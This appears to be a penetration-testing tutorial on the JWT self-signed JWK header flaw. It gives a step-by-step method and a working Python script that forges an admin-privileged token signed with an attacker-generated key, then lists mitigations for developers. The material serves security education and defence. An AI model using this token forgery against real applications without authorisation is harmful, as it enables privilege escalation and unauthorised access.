Learn Pentesting: Deep Dive into Testing for JWT Self-Signed JWK Header Vulnerability
JSON Web Tokens (JWTs) are ubiquitous in modern web applications for authentication and authorization. However, when improperly implemented, JWT handling can open doors for serious security vulnerabilities. In this post, we’ll explore one such vulnerability—the acceptance of self-signed JSON Web Key (JWK) headers—and detail a manual testing methodology that penetration testers can use to identify this issue during web-application assessments.
1. JWT and JWK: A Brief Overview
JWT Structure
A JWT is composed of three parts:
- Header: Typically specifies the signing algorithm (e.g., RS256) and token type.
- Payload: Contains the claims or data (e.g., user information, roles).
- Signature: Ensures the integrity of the token, generated by signing the header and payload.
What is a JWK?
A JSON Web Key (JWK) is a JSON data structure representing a cryptographic key. In many secure implementations, the server holds a pre-configured set of trusted public keys to verify the token signature. The vulnerability arises when the application accepts a JWK from the token’s header itself—allowing an attacker to inject their own key.
2. Understanding the Self-Signed JWK Header Vulnerability
The Vulnerability Explained
Normally, the server should verify a JWT’s signature against a trusted public key stored securely on the server side. However, if the application blindly trusts the JWK provided in the token header, an attacker can:
- Generate their own RSA key pair.
- Convert the public key into JWK format.
- Embed this self-signed JWK into the token header.
- Sign the token with the corresponding private key.
If the server accepts the provided JWK as valid for verification, the attacker can create forged tokens (e.g., escalating privileges) even without knowing the server’s private key.
3. Manual Testing Methodology
When performing a penetration test, manually checking for this vulnerability involves the following steps:
Analyze the JWT Structure:
Determine how the target application constructs and verifies its JWT tokens. Capture a token if possible and review its header fields.Generate an Attacker-Controlled RSA Key Pair:
Use tools or libraries (e.g., Python’scryptography
module) to generate a new RSA key pair that you control.Convert the Public Key to JWK Format:
Utilize a JWT library (like PyJWT) to convert your public key into the JWK format. This mimics the key structure expected in the header.Craft a Forged JWT:
Build a new JWT token with a header that includes your self-signed JWK and an algorithm (e.g., RS256). The payload can be modified to reflect elevated privileges (e.g., settingrole: admin
).Sign the Token:
Use your private key to sign the token.Test Against the Target Application:
Submit your crafted token to the application endpoint. If the application accepts the token as valid, it likely does not enforce strict key verification, indicating a vulnerability.
4. Code Example: Crafting a Self-Signed JWT
Below is a Python code snippet that demonstrates the process of generating a self-signed JWT with a JWK header:
import jwt
import json
from jwt.algorithms import RSAAlgorithm
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
# Step 1: Generate an RSA key pair (attacker-controlled)
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
)
public_key = private_key.public_key()
# Step 2: Export keys in PEM format (for signing and conversion)
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
public_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
# Step 3: Convert the public key to JWK format using PyJWT's helper function
jwk_data = RSAAlgorithm.to_jwk(public_key)
jwk = json.loads(jwk_data)
# Step 4: Construct the JWT header with the self-signed JWK included
header = {
"alg": "RS256",
"jwk": jwk # The self-signed key in JWK format
}
# Step 5: Define the JWT payload (modify claims as necessary for testing)
payload = {
"user": "attacker",
"role": "admin", # Example elevated privilege claim
"iat": 1610000000
}
# Step 6: Sign the token using the attacker's private key
token = jwt.encode(payload, private_pem, algorithm="RS256", headers=header)
print("Crafted JWT Token:")
print(token)
Explanation of the Code:
RSA Key Generation:
A new RSA key pair is created. The public key is later converted into a JWK, while the private key is used for signing.JWK Conversion:
The public key is converted into a JWK dictionary. This dictionary is then embedded in the JWT header.JWT Construction:
A custom header (including"jwk"
) and payload are defined. The token is signed with the private key, resulting in a JWT that, if accepted by the vulnerable application, indicates improper JWK handling.
5. Evaluating the Results
After crafting your token, send it to the target application endpoint where JWTs are validated. Observe:
Server Response:
Does the application accept your token? If yes, this indicates that the application is using the self-signed JWK from the header for verification rather than a trusted key store.Access Escalation:
Verify if you gain unauthorized privileges or access sensitive functionality. Document any discrepancies between expected behavior and the application’s response.
Note: Always ensure that testing is authorized and conducted in a controlled environment.
6. Mitigation Strategies and Recommendations
For developers and security teams, mitigating this vulnerability involves:
Enforcing Strict Key Management:
Never allow JWT tokens to dictate the public key used for signature verification. The server should rely on a pre-configured set of trusted public keys.Library and Framework Updates:
Use libraries that do not support self-signed JWK headers, or configure them to ignore such headers entirely.Comprehensive Validation:
Validate JWT headers against a strict schema and reject tokens that include unexpected fields like an embedded JWK.Regular Security Audits:
Periodically review JWT implementation and configurations to ensure adherence to security best practices.
Conclusion
The JWT self-signed JWK header vulnerability exemplifies how misconfigurations in token handling can lead to severe security risks. By understanding the JWT structure, knowing how to craft a self-signed token, and testing the target application’s verification mechanism, penetration testers can uncover potentially exploitable weaknesses. This deep-dive methodology, complete with practical code examples, serves as a useful reference for anyone working in or aspiring to work in penetration testing.
Stay tuned for more articles in our “Learn Pentesting” series as we continue to explore advanced techniques and emerging vulnerabilities in web application security.